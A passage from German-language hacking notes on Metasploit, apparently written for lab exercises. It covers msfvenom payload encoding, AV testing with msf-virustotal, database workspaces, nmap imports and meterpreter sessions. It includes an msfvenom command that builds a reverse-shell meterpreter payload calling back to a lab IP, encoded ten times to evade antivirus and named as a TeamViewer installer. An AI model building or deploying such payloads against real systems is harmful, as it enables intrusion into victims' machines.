<figure><img src="/files/4b21df710ae69767e676531b35fc23adde26b757" alt=""><figcaption></figcaption></figure>

Eine bessere Option wäre es, zu versuchen, sie durch mehrere Iterationen desselben Kodierungsschemas laufen zu lassen:

{% code overflow="wrap" %}

```bash
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=8080 -e x86/shikata_ga_nai -f exe -i 10 -o /root/Desktop/TeamViewerInstall.exe
```

{% endcode %}

<figure><img src="/files/dca49a6c1862cd1439e7c2d1e53d1e40400a4fd3" alt="" width="563"><figcaption></figcaption></figure>

Wie wir sehen können, reicht das immer noch nicht aus, um Antivirenprogramme zu umgehen. Es gibt eine große Anzahl von Produkten, die die Nutzlast weiterhin erkennen. Alternativ bietet Metasploit ein Tool namens `msf-virustotal`an, das wir mit einem API-Schlüssel zur Analyse unserer Nutzlasten verwenden können. Dafür ist jedoch eine kostenlose Registrierung bei VirusTotal erforderlich.

### **VirusTotal:**

```shell-session
jord4n@htb[/htb]$ msf-virustotal -k <API key> -f TeamViewerInstall.exe

[*] Verwendeter API-Schlüssel: <API key>
[*] Bitte warten Sie, während ich TeamViewerInstall.exe hochlade...
[*] VirusTotal: Scananfrage erfolgreich in die Warteschlange gestellt, kommen Sie später für den Bericht zurück
[*] Beispiel-MD5-Hash    : 4f54cc46e2f55be168cc6114b74a3130
[*] Beispiel-SHA1-Hash   : 53fcb4ed92cf40247782de41877b178ef2a9c5a9
[*] Beispiel-SHA256-Hash : 66894cbecf2d9a31220ef811a2ba65c06fdfecddbc729d006fdab10e43368da8
[*] Analyse-Link: https://www.virustotal.com/gui/file/<SNIP>/detection/f-<SNIP>-1651750343
[*] Fordere den Bericht an...
[*] Rückgabecode -2 erhalten. Warte weitere 60 Sekunden...
[*] Rückgabecode -2 erhalten. Warte weitere 60 Sekunden...
[*] Rückgabecode -2 erhalten. Warte weitere 60 Sekunden...
[*] Rückgabecode -2 erhalten. Warte weitere 60 Sekunden...
[*] Rückgabecode -2 erhalten. Warte weitere 60 Sekunden...
[*] Rückgabecode -2 erhalten. Warte weitere 60 Sekunden...
[*] Analysebericht: TeamViewerInstall.exe (51 / 68): 66894cbecf2d9a31220ef811a2ba65c06fdfecddbc729d006fdab10e43368da8
==================================================================================================================

 Antivirenprogramm      Erkannt  Version                                                         Ergebnis                                                     Aktualisierung
 ---------             --------  -------                                                         ------                                                     ------
 ALYac                 true      1.1.3.1                                                         Trojan.CryptZ.Gen                                          20220505
 APEX                  true      6.288                                                           Schädlich                                                  20220504
 AVG                   true      21.1.5827.0                                                     Win32:SwPatch [Wrm]                                        20220505
 Acronis               true      1.2.0.108                                                       verdächtig                                                 20220426
 Ad-Aware              true      3.0.21.193                                                      Trojan.CryptZ.Gen                                          20220505
 AhnLab-V3             true      3.21.3.10230                                                    Trojan/Win32.Shell.R1283                                   20220505
 Alibaba               false     0.3.0.5                                                                                                                    20190527
 Antiy-AVL             false     3.0                                                                                                                        20220505
 Arcabit               true      1.0.0.889                                                       Trojan.CryptZ.Gen                                          20220505
 Avast                 true      21.1.5827.0                                                     Win32:SwPatch [Wrm]                                        20220505
 Avira                 true      8.3.3.14                                                        TR/Patched.Gen2                                            20220505
 Baidu                 false     1.0.0.2                                                                                                                    20190318
 BitDefender           true      7.2                                                             Trojan.CryptZ.Gen                                          20220505
 BitDefenderTheta      true      7.2.37796.0                                                     Gen:NN.ZexaF.34638.eq1@aC@Q!ici                            20220428
 Bkav                  true      1.3.0.9899                                                      W32.FamVT.RorenNHc.Trojan                                  20220505
 CAT-QuickHeal         true      14.00                                                           Trojan.Swrort.A                                            20220505
 CMC                   false     2.10.2019.1                                                                                                                20211026
 ClamAV                true      0.105.0.0                                                       Win.Trojan.MSShellcode-6360728-0                           20220505
 [*] Erfolgreich ~/Target.xml importiert
 CrowdStrike           true      1.0                                                             win/malicious_confidence_100% (D)                          20220418
 Cylance               true      2.3.1.101                                                       Unsicher                                                     20220505
 Cynet                 true      4.0.0.27                                                        Schädlich (Punktzahl: 100)                                     20220505
 Cyren                 true      6.5.1.2                                                         W32/Swrort.A.gen!Eldorado                                  20220505
 DrWeb                 true      7.0.56.4040                                                     Trojan.Swrort.1                                            20220505
 ESET-NOD32            true      25218                                                           eine Variante von Win32/Rozena.AA                               20220505
 Elastic               true      4.0.36                                                          schädlich (hohe Zuversicht)                                20220503
 Emsisoft              true      2021.5.0.7597                                                   Trojan.CryptZ.Gen (B)                                      20220505
 F-Secure              false     18.10.978-beta,1651672875v,1651675347h,1651717942c,1650632236t                                                             20220505
 FireEye               true      35.24.1.0                                                       Generic.mg.4f54cc46e2f55be1                                20220505
 Fortinet              true      6.2.142.0                                                       MalwThreat!0971IV                                          20220505
 GData                 true      A:25.32960B:27.27244                                            Trojan.CryptZ.Gen                                          20220505
 Gridinsoft            true      1.0.77.174                                                      Trojan.Win32.Swrort.zv!s2                                  20220505
 Ikarus                true      6.0.24.0                                                        Trojan.Win32.Swrort                                        20220505
 Jiangmin              false     16.0.100                                                                                                                   20220504
 K7AntiVirus           true      12.10.42191                                                     Trojan ( 001172b51 )                                       20220505
 K7GW                  true      12.10.42191                                                     Trojan ( 001172b51 )                                       20220505
 Kaspersky             true      21.0.1.45                                                       HEUR:Trojan.Win32.Generic                                  20220505
 Kingsoft              false     2017.9.26.565                                                                                                              20220505
 Lionic                false     7.5                                                                                                                        20220505
 MAX                   true      2019.9.16.1                                                     malware (ai score=89)                                      20220505
 Malwarebytes          true      4.2.2.27                                                        Trojan.Rozena                                              20220505
 MaxSecure             true      1.0.0.1                                                         Trojan.Malware.300983.susgen                               20220505
 McAfee                true      6.0.6.653                                                       Swrort.i                                                   20220505
 McAfee-GW-Edition     true      v2019.1.2+3728                                                  BehavesLike.Win32.Swrort.lh                                20220505
 MicroWorld-eScan      true      14.0.409.0                                                      Trojan.CryptZ.Gen                                          20220505
 Microsoft             true      1.1.19200.5                                                     Trojan:Win32/Meterpreter.A                                 20220505
 NANO-Antivirus        true      1.0.146.25588                                                   Virus.Win32.Gen-Crypt.ccnc                                 20220505
 Paloalto              false     0.9.0.1003                                                                                                                 20220505
 Panda                 false     4.6.4.2                                                                                                                    20220504
 Rising                true      25.0.0.27                                                       Trojan.Generic@AI.100 (RDMK:cmRtazqDtX58xtB5RYP2bMLR5Bv1)  20220505
 SUPERAntiSpyware      true      5.6.0.1032                                                      Trojan.Backdoor-Shell                                      20220430
 Sangfor               true      2.14.0.0                                                        Trojan.Win32.Save.a                                        20220415
 SentinelOne           true      22.2.1.2                                                        Static AI - Schädliche PE                                   20220330
 Sophos                true      1.4.1.0                                                         ML/PE-A + Mal/EncPk-ACE                                    20220505
 Symantec              true      1.17.0.0                                                        Packed.Generic.347                                         20220505
 TACHYON               false     2022-05-05.02                                                                                                              20220505
 Tencent               true      1.0.0.1                                                         Trojan.Win32.Cryptz.za                                     20220505
 TrendMicro            true      11.0.0.1006                                                     BKDR_SWRORT.SM                                             20220505
 TrendMicro-HouseCall  true      10.0.0.1040                                                     BKDR_SWRORT.SM                                             20220505
 VBA32                 false     5.0.0                                                                                                                      20220505
 ViRobot               true      2014.3.20.0                                                     Trojan.Win32.Elzob.Gen                                     20220504
 VirIT                 false     9.5.188                                                                                                                    20220504
 Webroot               false     1.0.0.403                                                                                                                  20220505
 Yandex                true      5.5.2.24                                                        Trojan.Rosena.Gen.1                                        20220428
 Zillya                false     2.0.0.4625                                                                                                                 20220505
 ZoneAlarm             true      1.0                                                             HEUR:Trojan.Win32.Generic                                  20220505
 Zoner                 false     2.2.2.0                                                                                                                    20220504
 tehtris               false     v0.1.2                                                                                                                     20220505
```

## Datenbanken:

{% hint style="info" %}
`Datenbanken`werden `msfconsole`verwendet, um Ihre Ergebnisse nachzuverfolgen. Es überrascht nicht, dass die Auswertung noch komplexerer Maschinen, ganz zu schweigen von ganzen Netzwerken, aufgrund der schieren Menge an Suchergebnissen, Einfallspunkten, gefundenen Problemen, entdeckten Anmeldedaten usw. etwas unübersichtlich und kompliziert werden kann. Hier kommen Datenbanken ins Spiel. `msfconsole` bietet integrierte Unterstützung für das PostgreSQL-Datenbanksystem. Damit haben wir direkten, schnellen und einfachen Zugriff auf Analyseergebnisse sowie die zusätzliche Möglichkeit, Ergebnisse in Verbindung mit Drittanbieter-Tools zu importieren und zu exportieren. Datenbankeinträge können auch verwendet werden, um die Einstellungen des Exploit-Moduls direkt mit bereits vorhandenen Ergebnissen zu konfigurieren.
{% endhint %}

### Einrichten der Datenbank

Zuerst müssen wir sicherstellen, dass der PostgreSQL-Server auf unserem Hostsystem läuft. Geben Sie dazu den folgenden Befehl ein:

**PostgreSQL-Status**

```bash
sudo service postgresql status
```

**PostgreSQL starten**

```bash
sudo systemctl start postgresql
```

**Datenbank initialisieren**

```bash
sudo msfdb init
```

**Datenbankverbindung hergestellt**

```bash
sudo msfdb run
```

{% hint style="warning" %}
Falls wir die Datenbank jedoch bereits konfiguriert haben und das Passwort für den MSF-Benutzernamen nicht ändern können, fahren Sie mit diesen Befehlen fort:
{% endhint %}

**Datenbank zurücksetzen**

```bash
msfdb reinit
cp /usr/share/metasploit-framework/config/database.yml ~/.msf4/
sudo service postgresql restart
msfconsole -q
```

### Verwendung der Datenbank

```bash
help database

Datenbank-Backend-Befehle
=========================

    Befehl           Beschreibung
    -------           -----------
    db_connect        Mit einer bestehenden Datenbank verbinden
    db_disconnect     Von der aktuellen Datenbankinstanz trennen
    db_export         Eine Datei exportieren, die den Inhalt der Datenbank enthält
    db_import         Eine Datei mit Scanergebnissen importieren (der Dateityp wird automatisch erkannt)
    db_nmap           Führt nmap aus und protokolliert die Ausgabe automatisch
    db_rebuild_cache  Baut den in der Datenbank gespeicherten Modul-Cache neu auf
    db_status         Den aktuellen Datenbankstatus anzeigen
    hosts             Alle Hosts in der Datenbank auflisten
    loot              Alle Beute in der Datenbank auflisten
    notes             Alle Notizen in der Datenbank auflisten
    services          Alle Dienste in der Datenbank auflisten
    vulns             Alle Schwachstellen in der Datenbank auflisten
    workspace         Zwischen Datenbank-Arbeitsbereichen wechseln
```

Nachdem wir bestätigt haben, dass die Datenbank korrekt verbunden ist, können wir unsere `Arbeitsbereiche`

#### Arbeitsbereiche:

Wir können uns `Arbeitsbereiche`genauso vorstellen, wie wir uns Projektdateien vorstellen würden. Wir können verschiedene Scanergebnisse, Hosts und extrahierte Informationen nach IP, Subnetz, Netzwerk oder Domäne trennen.

```bash
workspace -a Target_1

[*] Arbeitsbereich hinzugefügt: Target_1
[*] Arbeitsbereich: Target_1

msf6 > workspace Target_1

[*] Arbeitsbereich: Target_1

msf6 > workspace

  Standard
* Target_1
```

### Scanergebnisse importieren

Als Nächstes nehmen wir an, dass wir eine `Nmap-Scan`Datei von einem Host in unseren Datenbank-Arbeitsbereich importieren möchten, um das Ziel besser zu verstehen

```bash
msf6 > db_import Target.xml

[*] Importiere 'Nmap XML'-Daten
[*] Import: Parsen mit 'Nokogiri v1.10.9'
[*] Importiere Host 10.10.10.40
[*] ~/Target.xml erfolgreich importiert

msf6 > hosts

Hosts
=====

Adresse      mac  name  os_name  os_flavor  os_sp  purpose  info  comments
-------      ---  ----  -------  ---------  -----  -------  ----  --------
10.10.10.40             Unbekannt                    device

msf6 > services

Dienste
========

Host         Port   Protokoll  Name          Status  Info
----         ----   -----  ----          -----  ----
10.10.10.40  135    tcp    msrpc         open   Microsoft Windows RPC
10.10.10.40  139    tcp    netbios-ssn   open   Microsoft Windows netbios-ssn
10.10.10.40  445    tcp    microsoft-ds  open   Microsoft Windows 7 - 10 microsoft-ds workgroup: WORKGROUP
10.10.10.40  49152  tcp    msrpc         open   Microsoft Windows RPC
10.10.10.40  49153  tcp    msrpc         open   Microsoft Windows RPC
10.10.10.40  49154  tcp    msrpc         open   Microsoft Windows RPC
10.10.10.40  49155  tcp    msrpc         open   Microsoft Windows RPC
10.10.10.40  49156  tcp    msrpc         open   Microsoft Windows RPC
10.10.10.40  49157  tcp    msrpc         open   Microsoft Windows RPC
```

### Nmap in der MSFconsole verwenden

Alternativ können wir Nmap direkt aus msfconsole verwenden! Um direkt von der Konsole aus zu scannen, ohne den Prozess in den Hintergrund zu schicken oder zu beenden, verwenden Sie den `db_nmap`Befehl.

```bash
db_nmap -sV -sS 10.10.10.8

[*] Nmap: Starte Nmap 7.80 ( https://nmap.org ) am 2020-08-17 21:04 UTC
[*] Nmap: Scanbericht für 10.10.10.8
[*] Nmap: Host ist aktiv (0.016s Latenz).
[*] Nmap: Nicht angezeigt: 999 gefilterte Ports
[*] Nmap: PORT   STATUS DIENST VERSION
[*] Nmap: 80/TCP offen  http    HttpFileServer httpd 2.3
[*] Nmap: Dienstinfo: Betriebssystem: Windows; CPE: cpe:/o:microsoft:windows
```

### Datensicherung

Nachdem die Sitzung beendet ist, sollten Sie Ihre Daten sichern, falls mit dem PostgreSQL-Dienst etwas passiert. Verwenden Sie dazu den `db_export`Befehl.

```bash
db_export -h

Verwendung:
    db_export -f <format> [Dateiname]
    Format kann eines der folgenden sein: xml, pwdump
```

#### Hosts:

Hosts können auch manuell als separate Einträge in dieser Tabelle hinzugefügt werden. Nachdem wir unsere eigenen Hosts hinzugefügt haben, können wir auch das Tabellenformat und die Struktur organisieren, Kommentare hinzufügen, vorhandene Informationen bearbeiten und mehr.

```bash
hosts -h

Verwendung: hosts [ optionen ] [addr1 addr2 ...]

OPTIONEN:
  -a,--add          Hosts hinzufügen statt zu suchen
  -d,--delete       Hosts löschen statt zu suchen
  -c <col1,col2>    Nur die angegebenen Spalten anzeigen (siehe Liste unten)
  -C <col1,col2>    Nur die angegebenen Spalten bis zum nächsten Neustart anzeigen (siehe Liste unten)
  -h,--help         Diese Hilfeinformationen anzeigen
  -u,--up           Nur Hosts anzeigen, die aktiv sind
  -o <file>         Ausgabe in eine Datei im CSV-Format senden
  -O <column>       Zeilen nach der angegebenen Spaltennummer sortieren
  -R,--rhosts       RHOSTS aus den Suchergebnissen festlegen
  -S,--search       Suchzeichenfolge zum Filtern
  -i,--info         Die Informationen eines Hosts ändern
  -n,--name         Den Namen eines Hosts ändern
  -m,--comment      Den Kommentar eines Hosts ändern
  -t,--tag          Einem Bereich von Hosts ein Tag hinzufügen oder angeben
```

#### Dienste Die `services`Der Befehl funktioniert auf dieselbe Weise wie der vorherige. Er enthält eine Tabelle mit Beschreibungen und Informationen zu den während Scans oder Interaktionen gefundenen Diensten. Ähnlich wie beim obigen Befehl sind die Einträge hier hochgradig anpassbar.

```bash
services -h

Verwendung: services [-h] [-u] [-a] [-r <proto>] [-p <port1,port2>] [-s <name1,name2>] [-o <filename>] [addr1 addr2 ...]

  -a,--add          Dienste hinzufügen statt zu suchen
  -d,--delete       Dienste löschen statt zu suchen
  -c <col1,col2>    Nur die angegebenen Spalten anzeigen
  -h,--help         Diese Hilfeinformationen anzeigen
  -s <name>         Name des hinzuzufügenden Dienstes
  -p <port>         Nach einer Liste von Ports suchen
  -r <protocol>     Protokolltyp des hinzuzufügenden Dienstes [tcp|udp]
  -u,--up           Nur Dienste anzeigen, die aktiv sind
  -o <file>         Ausgabe in eine Datei im CSV-Format senden
  -O <column>       Zeilen nach der angegebenen Spaltennummer sortieren
  -R,--rhosts       RHOSTS aus den Suchergebnissen festlegen
  -S,--search       Suchzeichenfolge zum Filtern
  -U,--update       Daten für bestehenden Dienst aktualisieren
```

#### Anmeldeinformationen

Das `creds`Mit dem Befehl können Sie die Anmeldedaten anzeigen, die während Ihrer Interaktionen mit dem Zielhost gesammelt wurden. Wir können auch Anmeldedaten manuell hinzufügen, vorhandene Anmeldedaten mit Portangaben abgleichen, Beschreibungen hinzufügen usw.

## Sitzungen:

### Sitzungen

> MSFconsole kann mehrere Module gleichzeitig verwalten. Dies ist einer von vielen Gründen, warum sie dem Benutzer so viel Flexibilität bietet. Dies geschieht durch die Verwendung von `Sitzungen`, wodurch für alle bereitgestellten Module dedizierte Steuerungsschnittstellen erstellt werden.
>
> Sobald mehrere Sitzungen erstellt wurden, können wir zwischen ihnen wechseln und ein anderes Modul mit einer der Hintergrundsitzungen verknüpfen, um es auszuführen oder in Aufgaben umzuwandeln. Beachten Sie, dass eine Sitzung, sobald sie in den Hintergrund verschoben wurde, weiterläuft und unsere Verbindung zum Zielhost bestehen bleibt. Sitzungen können jedoch beendet werden, wenn beim Ausführen der Nutzlast etwas schiefgeht und dadurch der Kommunikationskanal unterbrochen wird.

**Aktive Sitzungen auflisten**

Wir können den `sessions`Befehl, um unsere derzeit aktiven Sitzungen anzuzeigen.

```bash
msf6 exploit(windows/smb/psexec_psh) > sessions

Aktive Sitzungen
===============

  Id  Name  Typ                     Informationen                 Verbindung
  --  ----  ----                     -----------                 ----------
  1         meterpreter x86/windows  NT AUTHORITY/SYSTEM @ MS01  10.10.10.129:443 -> 10.10.10.205:50501 (10.10.10.205)
```

**Mit einer Sitzung interagieren**

Sie können den `sessions -i [Nr.]`Befehl zum Öffnen einer bestimmten Sitzung.

```shell-session
msf6 exploit(windows/smb/psexec_psh) > sessions -i 1
[*] Starting interaction with 1...

meterpreter >
```

### Alle Notizen

<table><thead><tr><th data-type="content-ref"></th></tr></thead><tbody><tr><td><a href="/pages/58e0e7f58e8af7ea3b9f5cec57d471297dabccb5">/pages/58e0e7f58e8af7ea3b9f5cec57d471297dabccb5</a></td></tr></tbody></table>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/hacking-tools/exploitation/metasploit.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
